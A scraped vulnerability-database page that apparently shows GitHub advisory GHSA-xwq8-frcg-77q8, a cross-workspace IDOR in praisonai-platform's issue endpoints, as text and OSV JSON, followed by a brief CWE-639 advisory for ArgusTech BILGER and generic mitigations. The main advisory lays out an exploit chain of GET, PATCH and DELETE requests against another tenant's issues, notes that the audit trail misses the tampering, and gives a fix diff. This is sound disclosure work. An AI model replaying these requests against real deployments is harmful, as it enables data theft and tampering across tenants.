W_attacker(where they are a member) and harvests a target issue UUIDI_Tfrom any side channel: the activity feed (activity.py:logrecordsissue_id=...), comment threads, error messages, exported issue dumps, issue mentions in agent prompts, or operator screenshots. Issue IDs are uuid4 strings but they are not secret. State: attacker holdsI_T. - Attacker authenticates and POSTs
Authorization: Bearer <attacker_jwt>toGET /workspaces/W_attacker/issues/I_T.require_workspace_member(W_attacker, attacker)passes (attacker is a member ofW_attacker). State: control flow entersget_issuewithworkspace_id=W_attacker, issue_id=I_T. IssueService.get(I_T)runssession.get(Issue, "I_T"), which isSELECT * FROM issues WHERE id = 'I_T' LIMIT 1with noworkspace_id = 'W_attacker'filter. The row is returned in full — includingtitle,description(often confidential bug-report content, customer PII, embedded credentials, or internal roadmap data),status,priority,assignee_id,created_by, andproject_id. State: response body is the JSON-serialised foreign issue.- Attacker repeats with
PATCH /workspaces/W_attacker/issues/I_Tand a body of{"description": "<reset>", "status": "closed", "project_id": "<arbitrary>"}.update_issuecallssvc.update(I_T, ...)which loads the target row and mutates the listed fields. State: the foreign workspace's issue is silently re-described, re-statused, and re-projected. - Attacker calls
DELETE /workspaces/W_attacker/issues/I_Tto destroy the target issue.IssueService.deleteloads the row and callssession.delete(). State: target issue is gone from the foreign workspace. - Final state: any attacker with one workspace-member token can enumerate, exfiltrate, rewrite, and delete every issue in the multi-tenant deployment given the issue UUIDs (which leak through the side channels above). The
act_svc.log(workspace_id, "issue.updated", "issue", issue.id, ...)call at line 118 records the event underW_attackerrather thanW_target, so the foreign workspace's audit trail does not record the tampering — making detection harder.
Security Impact
Severity: sec-high. CVSS 8.1: network attack, low complexity, low privileges (any workspace member), no user interaction, scope unchanged, high confidentiality (full issue body including any embedded secrets), high integrity (arbitrary writes including project re-assignment), low availability (DELETE wipes target issues).
Attacker capability: with one workspace-member token plus a harvested issue UUID, an attacker reads the target issue's title, description, status, priority, assignee_id, and project_id; rewrites any of those fields (silent edit, false closure, malicious re-assignment); re-projects the issue to an unrelated project to confuse triagers; or deletes the issue altogether to destroy evidence of customer reports.
Preconditions: praisonai-platform is deployed multi-tenant; the attacker has any membership token; the target issue's UUID is known or guessable (UUIDs leak through activity feeds, comment threads, error messages, exported dumps, and operator screenshots).
Differential: source-inspection-verified end-to-end. The asymmetry between IssueService.get(issue_id) (no workspace check) and MemberService.get(workspace_id, user_id) (composite key check) in the same codebase confirms the pattern. With the suggested fix below applied, IssueService.get(workspace_id, issue_id) returns None for foreign-workspace issues, the route handler returns 404, and the foreign data is indistinguishable from a missing record.
Suggested Fix
Make every single-row resource lookup take the workspace predicate; treat foreign-workspace rows as 404.
--- a/src/praisonai-platform/praisonai_platform/services/issue_service.py
+++ b/src/praisonai-platform/praisonai_platform/services/issue_service.py
@@ -69,9 +69,12 @@ class IssueService:
await self._session.flush()
return issue
- async def get(self, issue_id: str) -> Optional[Issue]:
- """Get issue by ID."""
- return await self._session.get(Issue, issue_id)
+ async def get(self, workspace_id: str, issue_id: str) -> Optional[Issue]:
+ """Get issue by ID, scoped to a workspace."""
+ stmt = select(Issue).where(
+ Issue.id == issue_id, Issue.workspace_id == workspace_id
+ )
+ return (await self._session.execute(stmt)).scalar_one_or_none()
async def update(
self,
+ workspace_id: str,
issue_id: str,
...
) -> Optional[Issue]:
- issue = await self.get(issue_id)
+ issue = await self.get(workspace_id, issue_id)
...
- async def delete(self, issue_id: str) -> bool:
+ async def delete(self, workspace_id: str, issue_id: str) -> bool:
- issue = await self.get(issue_id)
+ issue = await self.get(workspace_id, issue_id)
Update the route handlers in routes/issues.py to thread workspace_id through. The same pattern (single-key resource lookup gated only by workspace-member check) exists in AgentService, ProjectService, CommentService, and LabelService; each is a separate exploitable IDOR and should be filed as its own advisory so each gets a CVE.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "praisonai-platform"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-47415"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-01T14:24:12Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\n**Type:** Insecure Direct Object Reference. The issue CRUD endpoints (`GET / PATCH / DELETE /workspaces/{workspace_id}/issues/{issue_id}`) gate access on `require_workspace_member(workspace_id)` only, then resolve `issue_id` through `IssueService.get(issue_id)` which is a primary-key lookup with no workspace constraint. A user who is a member of any workspace `W1` can read, modify, or delete issues that belong to a different workspace `W2`.\n**File:** `src/praisonai-platform/praisonai_platform/services/issue_service.py`, lines 72-156; route handlers at `src/praisonai-platform/praisonai_platform/api/routes/issues.py`, lines 82-137.\n**Root cause:** the route extracts `workspace_id` from the URL path, uses it solely for the membership gate, then calls `IssueService.get(issue_id)` / `IssueService.update(issue_id, ...)` / `IssueService.delete(issue_id)` without re-checking which workspace the issue actually belongs to. `IssueService.get` runs a single-key lookup; `update` and `delete` call `self.get(issue_id)` first and then mutate the returned row, inheriting the same gap. The `MemberService` in this same codebase uses a composite `(workspace_id, user_id)` key, proving the author knows the safe pattern; it was simply not applied to the issue, agent, project, comment, or label services.\n\n## Affected Code\n\n**File 1:** `src/praisonai-platform/praisonai_platform/services/issue_service.py`, lines 72-75 and 97-156.\n\n```python\nclass IssueService:\n ...\n\n async def get(self, issue_id: str) -\u003e Optional[Issue]:\n \"\"\"Get issue by ID.\"\"\"\n return await self._session.get(Issue, issue_id) # \u003c-- BUG: no workspace_id predicate\n\n async def update(\n self,\n issue_id: str,\n title: Optional[str] = None,\n ...\n ) -\u003e Optional[Issue]:\n issue = await self.get(issue_id) # \u003c-- inherits the same gap\n if issue is None:\n return None\n ...\n return issue\n\n async def delete(self, issue_id: str) -\u003e bool:\n issue = await self.get(issue_id) # \u003c-- inherits the same gap\n if issue is None:\n return False\n await self._session.delete(issue)\n await self._session.flush()\n return True\n```\n\n**File 2:** `src/praisonai-platform/praisonai_platform/api/routes/issues.py`, lines 82-137.\n\n```python\n@router.get(\"/{issue_id}\", response_model=IssueResponse)\nasync def get_issue(\n workspace_id: str,\n issue_id: str,\n user: AuthIdentity = Depends(require_workspace_member), # only checks membership in workspace_id\n session: AsyncSession = Depends(get_db),\n):\n svc = IssueService(session)\n issue = await svc.get(issue_id) # \u003c-- workspace_id never threaded through\n if issue is None:\n raise HTTPException(status_code=404, detail=\"Issue not found\")\n return IssueResponse.model_validate(issue)\n\n\n@router.patch(\"/{issue_id}\", response_model=IssueResponse)\nasync def update_issue(\n workspace_id: str,\n issue_id: str,\n body: IssueUpdate,\n user: AuthIdentity = Depends(require_workspace_member),\n session: AsyncSession = Depends(get_db),\n):\n svc = IssueService(session)\n issue = await svc.update( # \u003c-- writes to any issue in the DB\n issue_id, title=body.title, description=body.description,\n status=body.status, priority=body.priority,\n assignee_type=body.assignee_type, assignee_id=body.assignee_id,\n project_id=body.project_id,\n )\n ...\n```\n\n`delete_issue` (lines 127-137) repeats the pattern.\n\n**Why it\u0027s wrong:** `workspace_id` from the route is used solely as a membership predicate (\"are you in some workspace W?\"), never as a resource-ownership predicate (\"is the issue you are addressing actually inside W?\"). The standard FastAPI/SQLAlchemy fix is to make the resource-lookup query include the workspace constraint and treat absence as 404, so a foreign-workspace issue is indistinguishable from a non-existent one. The `update_issue` handler additionally allows the attacker to overwrite `project_id`, which can re-assign the foreign issue to an unrelated project the attacker also does not own \u2014 escalating the scope of the write primitive.\n\n## Exploit Chain\n\n1. Attacker registers a workspace `W_attacker` (where they are a member) and harvests a target issue UUID `I_T` from any side channel: the activity feed (`activity.py:log` records `issue_id=...`), comment threads, error messages, exported issue dumps, issue mentions in agent prompts, or operator screenshots. Issue IDs are uuid4 strings but they are not secret. State: attacker holds `I_T`.\n2. Attacker authenticates and POSTs `Authorization: Bearer \u003cattacker_jwt\u003e` to `GET /workspaces/W_attacker/issues/I_T`. `require_workspace_member(W_attacker, attacker)` passes (attacker is a member of `W_attacker`). State: control flow enters `get_issue` with `workspace_id=W_attacker, issue_id=I_T`.\n3. `IssueService.get(I_T)` runs `session.get(Issue, \"I_T\")`, which is `SELECT * FROM issues WHERE id = \u0027I_T\u0027 LIMIT 1` with no `workspace_id = \u0027W_attacker\u0027` filter. The row is returned in full \u2014 including `title`, `description` (often confidential bug-report content, customer PII, embedded credentials, or internal roadmap data), `status`, `priority`, `assignee_id`, `created_by`, and `project_id`. State: response body is the JSON-serialised foreign issue.\n4. Attacker repeats with `PATCH /workspaces/W_attacker/issues/I_T` and a body of `{\"description\": \"\u003creset\u003e\", \"status\": \"closed\", \"project_id\": \"\u003carbitrary\u003e\"}`. `update_issue` calls `svc.update(I_T, ...)` which loads the target row and mutates the listed fields. State: the foreign workspace\u0027s issue is silently re-described, re-statused, and re-projected.\n5. Attacker calls `DELETE /workspaces/W_attacker/issues/I_T` to destroy the target issue. `IssueService.delete` loads the row and calls `session.delete()`. State: target issue is gone from the foreign workspace.\n6. Final state: any attacker with one workspace-member token can enumerate, exfiltrate, rewrite, and delete every issue in the multi-tenant deployment given the issue UUIDs (which leak through the side channels above). The `act_svc.log(workspace_id, \"issue.updated\", \"issue\", issue.id, ...)` call at line 118 records the event under `W_attacker` rather than `W_target`, so the foreign workspace\u0027s audit trail does not record the tampering \u2014 making detection harder.\n\n## Security Impact\n\n**Severity:** sec-high. CVSS 8.1: network attack, low complexity, low privileges (any workspace member), no user interaction, scope unchanged, high confidentiality (full issue body including any embedded secrets), high integrity (arbitrary writes including project re-assignment), low availability (DELETE wipes target issues).\n**Attacker capability:** with one workspace-member token plus a harvested issue UUID, an attacker reads the target issue\u0027s `title`, `description`, `status`, `priority`, `assignee_id`, and `project_id`; rewrites any of those fields (silent edit, false closure, malicious re-assignment); re-projects the issue to an unrelated project to confuse triagers; or deletes the issue altogether to destroy evidence of customer reports.\n**Preconditions:** `praisonai-platform` is deployed multi-tenant; the attacker has any membership token; the target issue\u0027s UUID is known or guessable (UUIDs leak through activity feeds, comment threads, error messages, exported dumps, and operator screenshots).\n**Differential:** source-inspection-verified end-to-end. The asymmetry between `IssueService.get(issue_id)` (no workspace check) and `MemberService.get(workspace_id, user_id)` (composite key check) in the same codebase confirms the pattern. With the suggested fix below applied, `IssueService.get(workspace_id, issue_id)` returns `None` for foreign-workspace issues, the route handler returns 404, and the foreign data is indistinguishable from a missing record.\n\n## Suggested Fix\n\nMake every single-row resource lookup take the workspace predicate; treat foreign-workspace rows as 404.\n\n```diff\n--- a/src/praisonai-platform/praisonai_platform/services/issue_service.py\n+++ b/src/praisonai-platform/praisonai_platform/services/issue_service.py\n@@ -69,9 +69,12 @@ class IssueService:\n await self._session.flush()\n return issue\n\n- async def get(self, issue_id: str) -\u003e Optional[Issue]:\n- \"\"\"Get issue by ID.\"\"\"\n- return await self._session.get(Issue, issue_id)\n+ async def get(self, workspace_id: str, issue_id: str) -\u003e Optional[Issue]:\n+ \"\"\"Get issue by ID, scoped to a workspace.\"\"\"\n+ stmt = select(Issue).where(\n+ Issue.id == issue_id, Issue.workspace_id == workspace_id\n+ )\n+ return (await self._session.execute(stmt)).scalar_one_or_none()\n\n async def update(\n self,\n+ workspace_id: str,\n issue_id: str,\n ...\n ) -\u003e Optional[Issue]:\n- issue = await self.get(issue_id)\n+ issue = await self.get(workspace_id, issue_id)\n ...\n\n- async def delete(self, issue_id: str) -\u003e bool:\n+ async def delete(self, workspace_id: str, issue_id: str) -\u003e bool:\n- issue = await self.get(issue_id)\n+ issue = await self.get(workspace_id, issue_id)\n```\n\nUpdate the route handlers in `routes/issues.py` to thread `workspace_id` through. The same pattern (single-key resource lookup gated only by workspace-member check) exists in `AgentService`, `ProjectService`, `CommentService`, and `LabelService`; each is a separate exploitable IDOR and should be filed as its own advisory so each gets a CVE.",
"id": "GHSA-xwq8-frcg-77q8",
"modified": "2026-06-01T14:24:12Z",
"published": "2026-06-01T14:24:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xwq8-frcg-77q8"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "praisonai-platform: Issue endpoints accept any issue_id without workspace ownership check, cross-workspace read/update/delete IDOR"
}
GHSA-XXCG-MCHR-FPH7
Vulnerability from github – Published: 2025-09-16 15:32 – Updated: 2026-06-05 15:32Authorization Bypass Through User-Controlled Key vulnerability with user privileges in ArgusTech BILGER allows Exploitation of Trusted Identifiers.This issue affects BILGER: before 2.4.6.
{
"affected": [],
"aliases": [
"CVE-2025-5518"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-16T08:15:43Z",
"severity": "MODERATE"
},
"details": "Authorization Bypass Through User-Controlled Key vulnerability with user privileges in ArgusTech BILGER allows Exploitation of Trusted Identifiers.This issue affects BILGER: before 2.4.6.",
"id": "GHSA-xxcg-mchr-fph7",
"modified": "2026-06-05T15:32:04Z",
"published": "2025-09-16T15:32:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-5518"
},
{
"type": "WEB",
"url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-25-0250"
},
{
"type": "WEB",
"url": "https://www.usom.gov.tr/bildirim/tr-25-0250"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.
Mitigation
Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.
Mitigation
Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.
No CAPEC attack patterns related to this CWE.